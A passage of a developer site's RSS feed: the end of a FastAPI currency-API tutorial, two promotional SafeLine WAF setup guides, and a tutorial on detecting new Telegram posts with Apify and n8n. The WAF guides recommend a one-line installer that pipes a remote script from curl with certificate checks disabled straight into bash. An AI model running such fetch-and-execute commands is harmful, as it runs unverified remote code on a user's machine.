    amount: float = Query(default=1.0)
):
    from_currency = from_currency.upper()
    to_currency = to_currency.upper()

    async with httpx.AsyncClient() as client:
        response = await client.get(
            f&quot;{BASE_URL}/pair/{from_currency}/{to_currency}/{amount}&quot;
        )
        data = response.json()
        return {
            &quot;from&quot;: from_currency,
            &quot;to&quot;: to_currency,
            &quot;amount&quot;: amount,
            &quot;rate&quot;: data[&quot;conversion_rate&quot;],
            &quot;converted&quot;: data[&quot;conversion_result&quot;],
            &quot;date&quot;: data[&quot;time_last_update_utc&quot;]
        }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;The Debugging Problem I faced&lt;/strong&gt;&lt;br&gt;
I originally built the API using Frankfurter (api.frankfurter.app) as the data source — it's free, requires no API key, and is backed by the European Central Bank. Perfect on paper.&lt;br&gt;
The problem: when I tested with curl in the terminal, Frankfurter returned data perfectly. But when FastAPI made the same request using httpx, I kept getting this error:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{&quot;detail&quot;: &quot;Could not fetch rates for base currency: USD&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After some debugging I ran this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;python -c &quot;import urllib.request; print(urllib.request.urlopen('https://api.frankfurter.dev/latest').read())&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And got back:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;urllib.error.HTTPError: HTTP Error 403: Forbidden
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Frankfurter was blocking Python requests because they didn't include a browser-like User-Agent header. The server was rejecting anything that looked like a script.&lt;br&gt;
I tried adding a User-Agent header to httpx but the issue persisted on my network. The clean fix was switching to ExchangeRate-API which has a proper free tier, returns consistent JSON, and works reliably with Python requests.&lt;br&gt;
If you hit a 403 from a data source that works fine in the browser but fails in Python — check your User-Agent header first, and if that doesn't work, switch to a more developer-friendly data source.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Deploying on Render&lt;/strong&gt;&lt;br&gt;
Render's free tier is enough to get started. The setup takes about 5 minutes:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Push your code to GitHub&lt;/li&gt;
&lt;li&gt;Connect the repo to Render → New Web Service&lt;/li&gt;
&lt;li&gt;Set the start command: uvicorn main:app --host 0.0.0.0 --port 8000&lt;/li&gt;
&lt;li&gt;Add your API key as an environment variable&lt;/li&gt;
&lt;li&gt;Deploy&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;One important note — store your API key as an environment variable on Render, not hardcoded in your code. Use python-dotenv locally and os.getenv() to read it:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import os
from dotenv import load_dotenv
load_dotenv()
EXCHANGE_RATE_API_KEY = os.getenv(&quot;EXCHANGE_RATE_API_KEY&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The free tier has one limitation — cold starts. After 15 minutes of inactivity Render spins down your service and the first request takes 30-60 seconds to wake up. Upgrade to the $7/month starter plan once you have paying subscribers — your first subscriber covers the cost.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Publishing on RapidAPI&lt;/strong&gt;&lt;br&gt;
Once your API is live on Render, publishing on RapidAPI takes about 20 minutes:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Go to rapidapi.com/provider → Add New API&lt;/li&gt;
&lt;li&gt;Add your Render URL as the Base URL&lt;/li&gt;
&lt;li&gt;Add each endpoint with its query parameters&lt;/li&gt;
&lt;li&gt;Set up freemium pricing tiers&lt;/li&gt;
&lt;li&gt;Write a README and submit for review&lt;br&gt;
RapidAPI review takes 24-48 hours. Once approved your API is discoverable by thousands of developers searching the marketplace.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Closing&lt;/strong&gt;&lt;br&gt;
The full API is live on RapidAPI — &lt;a rel=&quot;nofollow&quot; href=&quot;https://rapidapi.com/dhritibaruah20/api/currency-exchange-rate-api9&quot;&gt;https://rapidapi.com/dhritibaruah20/api/currency-exchange-rate-api9&lt;/a&gt;. Free tier available with 100 requests/month.&lt;br&gt;
I'm also building more APIs as part of a broader strategy to generate passive income as a developer. &lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/28516/built-monetized-currency-exchange-rate-with-fastapi-deployed-render-published-rapidapi</guid>
<pubDate>Thu, 24 Sep 2026 16:03:18 +0000</pubDate>
</item>
<item>
<title>Best Self-Hosted WAF for Small Business: What to Look For</title>
<link>https://coderlegion.com/28400/best-self-hosted-waf-for-small-business-what-to-look-for</link>
<description>&lt;h2 id=&quot;best-self-hosted-waf-for-small-business-what-to-look-for&quot;&gt;Best Self-Hosted WAF for Small Business: What to Look For&lt;/h2&gt;
&lt;p&gt;Small businesses get attacked at roughly the same rate as everyone else, but they rarely have a security team to absorb the hit. A web application firewall (WAF) is one of the highest-leverage defenses you can put in front of your site — and for a small business, a &lt;strong&gt;self-hosted&lt;/strong&gt; WAF is often the most sensible way to run one.&lt;/p&gt;
&lt;p&gt;This guide walks through what actually matters when you're picking a WAF for a small business, and why a self-hosted option like SafeLine's free Community Edition deserves a serious look.&lt;/p&gt;
&lt;h3 id=&quot;what-a-small-business-actually-needs-from-a-waf&quot;&gt;What a small business actually needs from a WAF&lt;/h3&gt;
&lt;p&gt;Enterprise WAF buying guides are full of features most small businesses will never touch. Strip it back to what you really need:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Protection from the common stuff&lt;/strong&gt; — SQL injection, cross-site scripting, and automated bots are the daily background noise of the internet. A WAF should block these out of the box, without you hand-writing rules.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Easy to set up&lt;/strong&gt; — if deployment takes a senior engineer a week, it won't happen. The best WAF for a small business is the one you'll actually turn on.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Low or no cost&lt;/strong&gt; — small margins mean every recurring subscription is a decision. Free is a strong default when the protection is real.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Minimal upkeep&lt;/strong&gt; — you don't have spare cycles to babysit it. It should run quietly once configured.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;why-self-hosted-fits-small-businesses&quot;&gt;Why self-hosted fits small businesses&lt;/h3&gt;
&lt;p&gt;A self-hosted WAF runs on infrastructure you already control — a spare VM, a small VPS, or a node in your existing stack. That changes the economics in your favor:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;No per-app or per-request billing.&lt;/strong&gt; Cloud WAFs often charge by traffic or by the number of protected services. Self-hosted shifts that to a flat server cost you're likely already paying.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data stays with you.&lt;/strong&gt; Traffic inspection happens on your own hardware, which matters if you have residency or compliance preferences.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No lock-in.&lt;/strong&gt; You're not tied to one vendor's console, pricing changes, or feature gates.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The trade-off is real but small: you own the box, so you handle the host. For most small businesses that's a fair exchange for removing a monthly bill.&lt;/p&gt;
&lt;h3 id=&quot;how-to-evaluate-options&quot;&gt;How to evaluate options&lt;/h3&gt;
&lt;p&gt;When you compare self-hosted WAFs, score them on four things:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Detection quality&lt;/strong&gt; — does it actually catch injection and bot traffic, or just pattern-match a stale signature list?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Install friction&lt;/strong&gt; — how many commands from zero to a protected site?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Resource footprint&lt;/strong&gt; — can it run on a modest box alongside other services?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Price ceiling&lt;/strong&gt; — what do you pay as you grow?&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;where-safeline-fits-2&quot;&gt;Where SafeLine fits&lt;/h3&gt;
&lt;p&gt;SafeLine is a self-hosted WAF by Chaitin. Its free &lt;strong&gt;Community Edition&lt;/strong&gt; is a strong fit for small businesses because it covers the needs above without a subscription:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Free forever, self-hosted, and covers &lt;strong&gt;up to 10 applications at 800 QPS&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Ships with a semantic detection engine that blocks SQL injection, XSS, and bots without signature tuning.&lt;/li&gt;
&lt;li&gt;Installs with a single command and runs on a modest host — roughly &lt;strong&gt;1 CPU, 1 GB RAM, and 5 GB disk&lt;/strong&gt; at minimum.&lt;/li&gt;
&lt;li&gt;Management console on &lt;code&gt;https://&amp;lt;your-server-ip&amp;gt;:9443&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That combination — free, low-footprint, and genuinely protective — is exactly what most small businesses are looking for.&lt;/p&gt;
&lt;h3 id=&quot;getting-started&quot;&gt;Getting started&lt;/h3&gt;
&lt;p&gt;The fastest path is the one-line installer, which brings up the whole stack (console, detection engine, database, cache) as containers:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bash -c &quot;$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)&quot; -- --en
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Open the console, add your first site, and point its upstream at your app. If you grow past 10 apps or 800 QPS, paid tiers (Lite and Pro) raise the ceiling without changing how the WAF behaves.&lt;/p&gt;
&lt;h3 id=&quot;faq-6&quot;&gt;FAQ&lt;/h3&gt;
&lt;h4 id=&quot;do-i-need-a-waf-if-i-already-use-https-&quot;&gt;Do I need a WAF if I already use HTTPS?&lt;/h4&gt;
&lt;p&gt;Yes. HTTPS encrypts traffic; it doesn't stop an attacker from sending a malicious request to your login form. A WAF inspects what's inside the request.&lt;/p&gt;
&lt;h4 id=&quot;is-the-free-tier-enough-for-a-small-business-&quot;&gt;Is the free tier enough for a small business?&lt;/h4&gt;
&lt;p&gt;Often, yes — 10 apps at 800 QPS covers a typical small-business footprint. Upgrade only when you outgrow those caps.&lt;/p&gt;
&lt;h4 id=&quot;will-running-it-myself-be-a-lot-of-work-&quot;&gt;Will running it myself be a lot of work?&lt;/h4&gt;
&lt;p&gt;Minimal. Once installed and pointed at your sites, it runs as a background service. You check the console occasionally, like any other server component.&lt;/p&gt;
&lt;h4 id=&quot;what-if-i-don-t-have-a-spare-server-&quot;&gt;What if I don't have a spare server?&lt;/h4&gt;
&lt;p&gt;A small VPS (the size that runs the console) is enough to start, and it can often share the host with other lightweight services.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Ready to protect your sites without paying for a cloud WAF?&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;⭐ &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/chaitin/SafeLine&quot;&gt;SafeLine WAF on GitHub&lt;/a&gt; — give it a star if you find it useful&lt;/li&gt;
&lt;li&gt;🔗 &lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.waf.chaitin.com/en/home&quot;&gt;Official Docs&lt;/a&gt; — installation guide, configuration, and API reference&lt;/li&gt;
&lt;li&gt;🧪 &lt;a rel=&quot;nofollow&quot; href=&quot;https://demo.waf.chaitin.com:9443/statistics&quot;&gt;Live Demo&lt;/a&gt; — see the dashboard in action (no login required)&lt;/li&gt;
&lt;/ul&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/28400/best-self-hosted-waf-for-small-business-what-to-look-for</guid>
<pubDate>Thu, 24 Sep 2026 02:27:39 +0000</pubDate>
</item>
<item>
<title>SafeLine WAF Docker Compose Example</title>
<link>https://coderlegion.com/28091/safeline-waf-docker-compose-example</link>
<description>&lt;h2 id=&quot;safeline-waf-docker-compose-example&quot;&gt;SafeLine WAF Docker Compose Example&lt;/h2&gt;
&lt;p&gt;SafeLine ships as a set of containers, and Docker Compose is the simplest way to bring up the whole stack — management console, detection engine, and the supporting database and cache — on a single host.&lt;/p&gt;
&lt;h3 id=&quot;the-fastest-path&quot;&gt;The fastest path&lt;/h3&gt;
&lt;p&gt;The official one-line installer handles the compose file for you:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bash -c &quot;$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)&quot; -- --en
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It writes a &lt;code&gt;docker-compose.yml&lt;/code&gt; in the SafeLine directory and starts the services. After it finishes, open the console at &lt;code&gt;https://&amp;lt;host-ip&amp;gt;:9443&lt;/code&gt; to add your protected sites.&lt;/p&gt;
&lt;h3 id=&quot;what-the-stack-contains&quot;&gt;What the stack contains&lt;/h3&gt;
&lt;p&gt;A typical SafeLine compose defines a few services working together:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Management console&lt;/strong&gt; — the web UI on &lt;code&gt;:9443&lt;/code&gt; where you configure sites and view logs.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Detection engine / proxy&lt;/strong&gt; — the component that actually inspects and forwards traffic on &lt;code&gt;:80&lt;/code&gt; / &lt;code&gt;:443&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Database&lt;/strong&gt; — stores configuration and records.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cache&lt;/strong&gt; — used for session and challenge state.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;An illustrative compose looks like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;services:
  safeline-mgt:            # management console
    image: chaitin/safeline-mgt:latest
    ports: [&quot;9443:9443&quot;]
  safeline-detector:       # inspection + reverse proxy
    image: chaitin/safeline-detector:latest
    ports: [&quot;80:80&quot;, &quot;443:443&quot;]
  safeline-pg:             # database
    image: chaitin/safeline-pg:latest
  safeline-redis:          # cache
    image: chaitin/safeline-redis:latest
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Treat the exact image names, tags, and ports above as illustrative — pull the authoritative &lt;code&gt;docker-compose.yml&lt;/code&gt; from the official installer or docs, since these can change between versions.&lt;/p&gt;
&lt;h3 id=&quot;customizing&quot;&gt;Customizing&lt;/h3&gt;
&lt;p&gt;Once it's up, common tweaks:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Persist data&lt;/strong&gt; — add named volumes for the database and config so they survive container recreation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Change ports&lt;/strong&gt; — if &lt;code&gt;:80&lt;/code&gt;/&lt;code&gt;:443&lt;/code&gt; are taken, map the proxy to different host ports and adjust your upstream/DNS accordingly.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Protect a site&lt;/strong&gt; — in the console, add a site whose upstream is your app (e.g. &lt;code&gt;http://127.0.0.1:8080&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;faq-7&quot;&gt;FAQ&lt;/h3&gt;
&lt;h4 id=&quot;do-i-need-to-write-the-compose-myself-&quot;&gt;Do I need to write the compose myself?&lt;/h4&gt;
&lt;p&gt;No — the installer generates it. Hand-writing is only if you want a custom layout.&lt;/p&gt;
&lt;h4 id=&quot;can-i-run-it-alongside-other-compose-stacks-&quot;&gt;Can I run it alongside other compose stacks?&lt;/h4&gt;
&lt;p&gt;Yes; just keep the ports and volume names from colliding with other services.&lt;/p&gt;
&lt;h4 id=&quot;free-tier-&quot;&gt;Free tier?&lt;/h4&gt;
&lt;p&gt;The Community Edition covers 10 apps at 800 QPS for free.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;That's it — a single compose stack gives you a running self-hosted WAF.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;⭐ &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/chaitin/SafeLine&quot;&gt;SafeLine WAF on GitHub&lt;/a&gt; — give it a star if you find it useful&lt;/li&gt;
&lt;li&gt;🔗 &lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.waf.chaitin.com/en/home&quot;&gt;Official Docs&lt;/a&gt; — installation guide, configuration, and API reference&lt;/li&gt;
&lt;li&gt;🧪 &lt;a rel=&quot;nofollow&quot; href=&quot;https://demo.waf.chaitin.com:9443/statistics&quot;&gt;Live Demo&lt;/a&gt; — see the dashboard in action (no login required)&lt;/li&gt;
&lt;/ul&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/28091/safeline-waf-docker-compose-example</guid>
<pubDate>Tue, 22 Sep 2026 03:23:27 +0000</pubDate>
</item>
<item>
<title>A scraper isn’t a monitor: detecting new Telegram posts with Apify and n8n</title>
<link>https://coderlegion.com/28087/a-scraper-isnt-a-monitor-detecting-new-telegram-posts-with-apify-and-n8n</link>
<description>&lt;p&gt;My Actor run succeeded. It returned five recent Telegram posts, each with an ID, timestamp, and permalink.&lt;/p&gt;
&lt;p&gt;Then I asked the question the automation actually needed to answer:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Which posts are new?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The honest answer was: &lt;strong&gt;the current run cannot know by itself.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Nothing had failed. The Actor had done its job. It had retrieved what was visible now. But “new” is not a property contained in one snapshot; it is the difference between the current snapshot and a previous one.&lt;/p&gt;
&lt;p&gt;That distinction is the difference between a scraper that runs on a schedule and a monitor you can trust.&lt;/p&gt;
&lt;p&gt;In this tutorial, I’ll show the state layer I added around an &lt;a rel=&quot;nofollow&quot; href=&quot;https://apify.com/bgy_1203/telegram-public-channel-monitor&quot;&gt;Apify Actor&lt;/a&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a stable identity for every record;&lt;/li&gt;
&lt;li&gt;state partitioned by Telegram channel;&lt;/li&gt;
&lt;li&gt;a deliberate first-run policy;&lt;/li&gt;
&lt;li&gt;duplicate prevention across executions;&lt;/li&gt;
&lt;li&gt;a warning when the polling window may be too small; and&lt;/li&gt;
&lt;li&gt;fail-closed handling for missing or malformed state.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The same design works for price trackers, job monitors, lead feeds, inventory checks, and any other workflow that repeatedly asks, “What changed?”&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Implementation note:&lt;/strong&gt; the code and evidence for this article are in the &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/bgyeth/apify-mcp-durable-state-companion&quot;&gt;corrected companion package&lt;/a&gt;. That workflow deliberately stops at notification candidates; I have not treated untested delivery as finished.&lt;/p&gt;
&lt;h3 id=&quot;retrieval-and-change-detection-are-different-jobs&quot;&gt;Retrieval and change detection are different jobs&lt;/h3&gt;
&lt;p&gt;The Actor reads Telegram’s public &lt;code&gt;t.me/s/&lt;/code&gt; preview and returns recent messages in newest-first order. Each item includes fields such as:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;channel&quot;: &quot;telegram&quot;,
  &quot;id&quot;: 454,
  &quot;url&quot;: &quot;https://t.me/telegram/454&quot;,
  &quot;date&quot;: &quot;2026-07-19T17:58:20+00:00&quot;,
  &quot;text&quot;: &quot;For all the details on these new features...&quot;,
  &quot;views&quot;: 1180000,
  &quot;scraped_at&quot;: &quot;2026-08-05T14:13:17.444080+00:00&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That is enough to answer:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;What is visible now?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;It is not enough to answer:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;What appeared since the previous successful check?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The second question requires historical information. That history can live inside an Actor, in a database, in a caller-supplied cursor, or in the workflow that calls the Actor. For this implementation, I kept the Actor stateless and made the downstream n8n workflow own the comparison state.&lt;/p&gt;
&lt;p&gt;The boundary looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Schedule
   │
   ▼
Run Apify Actor ──► current message window
                         │
                         ▼
              validate and partition records
                         │
                         ▼
              compare with durable seen state
                         │
              ┌──────────┴──────────┐
              ▼                     ▼
      notification candidates   status and warnings
              │                     │
              └──────────┬──────────┘
                         ▼
                  persist new state
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;the-experiment-that-exposed-the-missing-layer&quot;&gt;The experiment that exposed the missing layer&lt;/h3&gt;
&lt;p&gt;I first called the Actor from an AI client through the &lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.apify.com/platform/integrations/mcp&quot;&gt;Apify MCP server&lt;/a&gt;. I retained four one-call conditions:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Condition &lt;/th&gt;&lt;th&gt;What the caller knew before the run &lt;/th&gt;&lt;th&gt;Could it determine new IDs?&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Baseline &lt;/td&gt;&lt;td&gt;No previous result &lt;/td&gt;&lt;td&gt;Not asked; the result became the baseline&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Same conversation &lt;/td&gt;&lt;td&gt;Previous IDs were still in context &lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Fresh session &lt;/td&gt;&lt;td&gt;No reachable previous result &lt;/td&gt;&lt;td&gt;No; newness was undetermined&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Fresh session with prior IDs &lt;/td&gt;&lt;td&gt;A small state file plus comparison rules &lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;All four Actor runs succeeded and returned the same five IDs, &lt;code&gt;454&lt;/code&gt; through &lt;code&gt;450&lt;/code&gt;. In the fresh session with no baseline, retrieval still worked, but comparison did not.&lt;/p&gt;
&lt;p&gt;That result matters because &lt;strong&gt;“no new records” and “I cannot determine whether records are new” are not the same answer.&lt;/strong&gt; A reliable monitor must preserve that distinction.&lt;/p&gt;
&lt;p&gt;The runs also exposed a tempting identity bug: every message’s &lt;code&gt;views&lt;/code&gt; value changed between two observations, while the IDs stayed stable. Comparing whole records would have classified all five messages as different. Comparing the stable identity classified them correctly as the same messages.&lt;/p&gt;
&lt;h3 id=&quot;choose-identity-before-choosing-storage&quot;&gt;Choose identity before choosing storage&lt;/h3&gt;
&lt;p&gt;Telegram’s Bot API defines &lt;code&gt;message_id&lt;/code&gt; as unique inside a chat. That means &lt;code&gt;id&lt;/code&gt; alone is not a reusable global key. The monitor uses this partitioned identity instead:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;(normalized channel, message ID)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function normalizeChannel(value) {
  return String(value ?? '')
    .trim()
    .replace(/^@/, '')
    .toLowerCase();
}

function messageKey(channel, id) {
  const normalizedChannel = normalizeChannel(channel);
  if (!normalizedChannel) {
    throw new Error('Channel is required.');
  }

  if (!Number.isSafeInteger(id) || id &amp;lt;= 0) {
    throw new Error('Message ID must be a positive safe integer.');
  }

  return JSON.stringify([normalizedChannel, String(id)]);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;views&lt;/code&gt; and &lt;code&gt;scraped_at&lt;/code&gt; are deliberately excluded. They can change without creating a new message. Text can also be edited, so an ID-only state detects new messages but does not detect edits; edit detection is a separate contract.&lt;/p&gt;
&lt;p&gt;This is the first design rule:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Use immutable source identity for new-item detection. Do not let mutable attributes redefine the record.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;store-a-baseline-not-a-vague-memory&quot;&gt;Store a baseline, not a vague memory&lt;/h3&gt;
&lt;p&gt;A minimal prior-state file for one channel can be as small as:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;schemaVersion&quot;: 1,
  &quot;channel&quot;: &quot;telegram&quot;,
  &quot;identityField&quot;: &quot;id&quot;,
  &quot;sourceRunId&quot;: &quot;example-prior-run-id&quot;,
  &quot;seenMessageIds&quot;: [454, 453, 452, 451, 450]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The n8n workflow uses the same contract in a more compact form. Its global workflow state is partitioned by normalized channel, and positive integer IDs are stored as merged ranges:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;schemaVersion&quot;: 1,
  &quot;channels&quot;: {
    &quot;telegram&quot;: {
      &quot;initializedAt&quot;: &quot;&amp;lt;timestamp from the first successful run&amp;gt;&quot;,
      &quot;baselineFloorId&quot;: 450,
      &quot;seenRanges&quot;: [[450, 454]],
      &quot;highestObservedId&quot;: 454
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Range compression is an implementation optimization, not part of the general monitoring rule. Set comparison requires stable identifiers; range compression additionally assumes suitable integer IDs.&lt;/p&gt;
&lt;p&gt;The workflow reads this state with n8n’s &lt;code&gt;$getWorkflowStaticData('global')&lt;/code&gt;. n8n documents three important constraints: static data is intended to be small, it is saved after successful triggered production executions, and it can be unreliable under high-frequency execution. That makes it acceptable for this small serialized demonstration, not a universal production database.&lt;/p&gt;
&lt;p&gt;For growing state, overlapping executions, or operational querying, move the same identity and comparison contract to a Data Table or external database.&lt;/p&gt;
&lt;h3 id=&quot;make-the-first-run-a-policy-decision&quot;&gt;Make the first run a policy decision&lt;/h3&gt;
&lt;p&gt;On the first successful execution, every returned ID is unseen. Calling all of them “new” may be mathematically consistent, but it is usually terrible monitoring behavior: the workflow sends a burst of alerts for posts that existed before monitoring started.&lt;/p&gt;
&lt;p&gt;This implementation defaults to baseline mode:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Fetch the first non-empty window.&lt;/li&gt;
&lt;li&gt;Validate it.&lt;/li&gt;
&lt;li&gt;Store the IDs.&lt;/li&gt;
&lt;li&gt;Send no notification candidates.&lt;/li&gt;
&lt;li&gt;Begin new-item detection on the next successful run.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;An explicit &lt;code&gt;alert&lt;/code&gt; mode remains available for workflows that really do want the first window delivered.&lt;/p&gt;
&lt;p&gt;An empty result does &lt;strong&gt;not&lt;/strong&gt; initialize the baseline. Otherwise a transient empty response could create an empty history, and the next normal result could replay the entire window as new.&lt;/p&gt;
&lt;h3 id=&quot;compare-classify-then-persist&quot;&gt;Compare, classify, then persist&lt;/h3&gt;
&lt;p&gt;The core comparison is set difference:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;new IDs = current IDs − previously seen IDs
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But the order around that expression matters:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Validate the response shape and channel partition.&lt;/li&gt;
&lt;li&gt;Reject unusable IDs.&lt;/li&gt;
&lt;li&gt;Deduplicate the current window by the partitioned identity.&lt;/li&gt;
&lt;li&gt;Compare against previously seen identities.&lt;/li&gt;
&lt;li&gt;Apply the first-run and historical-backfill policies.&lt;/li&gt;
&lt;li&gt;Generate notification candidates.&lt;/li&gt;
&lt;li&gt;Persist every valid observed ID, including records filtered out by keywords.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;That final choice gives keyword filters at-most-once behavior. Changing a keyword later does not replay posts the workflow already processed.&lt;/p&gt;
&lt;p&gt;State corruption also fails closed. If a non-empty state object has no supported schema or contains malformed channel state, the workflow stops instead of silently treating history as empty. Resetting broken state would turn old records into a fresh alert storm.&lt;/p&gt;
&lt;p&gt;The complete comparator and the n8n Code-node implementation are in the &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/bgyeth/apify-mcp-durable-state-companion&quot;&gt;public companion repository&lt;/a&gt;. The comparator is dependency-free and accepts either a bare dataset array or an MCP-style &lt;code&gt;{ &quot;items&quot;: [...] }&lt;/code&gt; envelope.&lt;/p&gt;
&lt;h3 id=&quot;treat-a-full-polling-window-as-a-warning&quot;&gt;Treat a full polling window as a warning&lt;/h3&gt;
&lt;p&gt;Suppose the workflow requests five messages and receives five. It does not know whether exactly five were available or whether older unseen messages fell outside the returned window.&lt;/p&gt;
&lt;p&gt;The workflow therefore sets &lt;code&gt;windowSaturated&lt;/code&gt; using the raw Actor response count:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const windowSaturated = rows.length &amp;gt;= Number(monitor.limit);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The check happens before deduplication. Duplicate or invalid rows should not hide the fact that the raw window reached its cap.&lt;/p&gt;
&lt;p&gt;Saturation means:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;The configured window may be too small for the polling interval.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;It does &lt;strong&gt;not&lt;/strong&gt; prove that a message was missed. It tells the operator to consider a larger limit, a shorter interval, or a proper catch-up strategy.&lt;/p&gt;
&lt;p&gt;The same reasoning applies in the other direction: an ID that was previously seen but is absent from a capped current window is not automatically deleted. It may simply have fallen beyond the window.&lt;/p&gt;
